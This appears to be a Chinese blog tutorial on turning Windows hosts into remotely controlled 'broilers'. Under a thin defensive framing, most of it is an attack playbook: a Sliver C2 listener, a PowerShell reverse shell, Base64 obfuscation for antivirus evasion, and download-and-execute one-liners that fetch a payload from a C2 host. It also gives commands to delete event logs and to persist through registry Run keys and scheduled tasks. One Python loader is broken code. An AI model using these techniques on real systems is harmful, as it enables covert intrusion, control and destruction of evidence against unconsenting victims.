一、肉鸡的定义与防守思路反推

在做企业内部安全审计时,我经常被问到一个问题:“如何快速甄别自己的电脑是否被成为了攻击者的肉鸡?”这个问题其实非常现实,因为很多人即使电脑已经被控制,也完全没有察觉。肉鸡,简单来说,就是被攻击者成功入侵、控制并利用的主机。它可以被用来作为跳板、窃取数据或充当僵尸网络的一部分。

从防守角度来看,攻击者的操作通常隐蔽,根据经验,肉鸡控制技术包括:

  1. 在目标设备上植入后门程序,如远控木马;
  2. 利用 C2(Command and Control)服务器与目标建立通讯,获得实时控制;
  3. 实现免杀以躲过杀毒软件、EDR 等防御措施。

反推这些步骤,攻击者通常需要:

  • 第一步:通过漏洞或社工获得第一阶段的执行权限;
  • 第二步:将恶意载荷投递至目标设备;
  • 第三步:实现自动化控制与持久化操作。

接下来,我会详细讲解如何从攻击者视角实现肉鸡控制,从环境搭建、载荷构造到免杀与流量伪装。

---

二、搭建攻击环境:伪装的起点

攻击环境的搭建是整个过程的起点。一位有经验的攻击者通常会选择一个安全、隐秘的环境,例如 VPS、代理链或 TOR 网络,以确保自己的身份不会暴露。

虚拟化测试环境

为了模拟真实场景,建议搭建一个混合网络,包括:

  • 一台攻击者设备(Kali Linux 或 ParrotOS)
  • 一台目标设备(Windows 10 或 Windows Server)
  • 一台 C2 控制服务器(可以使用 Cobalt Strike 或 Sliver)

网络环境可以使用 VMware 或 VirtualBox 进行虚拟化,确保目标设备可以正常连接互联网。注意关闭虚拟环境的快照,以便验证持久化效果。

为什么选择 Windows?

Windows 系统在企业环境中的使用率极高,且由于其丰富的功能和复杂的架构,攻击面更大。尤其是 PowerShell 的强大功能,让它成为攻击者的首选工具。

配置 C2 控制服务器

安装 Sliver 或 Cobalt Strike 的过程这里不赘述,重点是配置好监听器和反向 Shell: <pre><code class="language-bash"># Sliver 创建一个监听器 sliver &gt; generate --os windows --arch amd64 --format shellcode payload_name sliver &gt; listener create http tcp://0.0.0.0:8080</code></pre>

一旦肉鸡成功连接到 C2 服务器,攻击者便可以执行各种远程命令、上传下载文件,甚至横向移动。

---

三、载荷构造的艺术

我们需要一个载荷,它能绕过杀软并确保稳定的通讯。这里我们选择 PowerShell,因为它是 Windows 内置的工具,自带免杀优势。

PowerShell 后门载荷

一个简单的 PowerShell 后门代码如下,它会连接到我们的 C2 服务器: <pre><code class="language-powershell">$client = New-Object System.Net.Sockets.TCPClient(&quot;C2_SERVER_IP&quot;, 8080) $stream = $client.GetStream() $writer = New-Object System.IO.StreamWriter($stream) $reader = New-Object System.IO.StreamReader($stream) while ($true) { $command = $reader.ReadLine() $result = Invoke-Expression $command $writer.WriteLine($result) $writer.Flush() }</code></pre>

核心解释:

  • TCPClient:连接到 C2 服务器。
  • Invoke-Expression:执行 C2 发送过来的命令。
  • StreamWriter:将执行结果返回给攻击者。

免杀技巧

为了避免被杀软检测,我们可以对代码进行混淆。例如:

  1. 使用 Base64 编码:
  2. <pre><code class="language-powershell">$code = &quot;Write-Host &#039;Hello World&#039;&quot; $encoded = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($code)) Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded)))</code></pre>

  3. 动态分解代码:
  4. 将代码拆分成多个变量组成,避免出现明显的恶意代码特征。

---

四、绕过杀软与流量伪装

攻击者在实际操作中,绕过杀软和流量伪装是两个非常关键的步骤。

绕过杀软的策略

  1. 内存加载:将恶意代码直接加载到内存中执行,避免写入硬盘。例如使用 Reflective DLL Injection
  2. 分离特征码:通过加密或动态解包,分离出杀软可能检测的代码片段。

演示一个简单的 Python 免杀加载: <pre><code class="language-python">import base64

黑客示意图

将恶意代码做Base64编码

encoded_payload = base64.b64encode(b&quot;powershell -nop -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://C2_SERVER_IP/payload.ps1&#039;)&quot;).decode()

解码并执行

exec(base64.b64decode(encoded_payload))</code></pre>

流量伪装

大部分杀软已经开始检测异常流量,因此伪装流量显得尤为重要。可以通过以下策略:

  • 使用 HTTPS:加密数据包,避免明文被检测。
  • 伪装为合法流量:例如将数据封装进 WebSocket 或常见的 HTTP 请求中。

---

五、痕迹清除与权限维持

一旦流程完成,攻击者会想办法清除入侵痕迹,并实现持久化。

痕迹清除

  1. 日志清理:删除 Windows 日志文件(不建议直接删除,容易引起怀疑,可以选择覆盖)。
  2. <pre><code class="language-powershell">Remove-Item -Path &quot;C:\Windows\System32\winevt\Logs\*.evtx&quot;</code></pre>

  3. 删除临时文件:清理恶意程序的安装痕迹。

黑客示意图

权限维持

  1. 注册表植入:将后门程序写入启动项。
  2. <pre><code class="language-powershell">Set-ItemProperty -Path &quot;HKCU:\Software\Microsoft\Windows\CurrentVersion\Run&quot; -Name &quot;MyBackdoor&quot; -Value &quot;powershell -nop -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://C2_SERVER_IP/payload.ps1&#039;)&quot;</code></pre>

  3. 计划任务:创建周期性任务执行后门代码。
  4. <pre><code class="language-powershell">schtasks /create /tn &quot;UpdateTask&quot; /tr &quot;powershell.exe -nop -c IEX(New-Object Net.WebClient).DownloadString(&#039;http://C2_SERVER_IP/payload.ps1&#039;)&quot; /sc DAILY /st 12:00</code></pre>

---

六、个人经验分享:攻击也需要耐心

肉鸡控制技术虽然听起来简单,但从实际经验来看,每一步都需要极大的耐心。例如:

  • 信息收集:不能急于求成,尤其是第一阶段的权限获取。
  • 免杀测试:不同的杀软对代码的检测策略各不相同,免杀需要反复测试。
  • 流量伪装:尽可能让恶意行为看起来“合法”,比如伪装成浏览器请求。

在红队渗透中,我曾经因为急于操作而触发了目标的报警系统,导致整个团队的测试终止。这让我意识到,攻击是一门艺术,需要耐心和细致。

---

免责声明:本文仅供授权安全测试和学习研究,切勿用于非法用途。

黑客示意图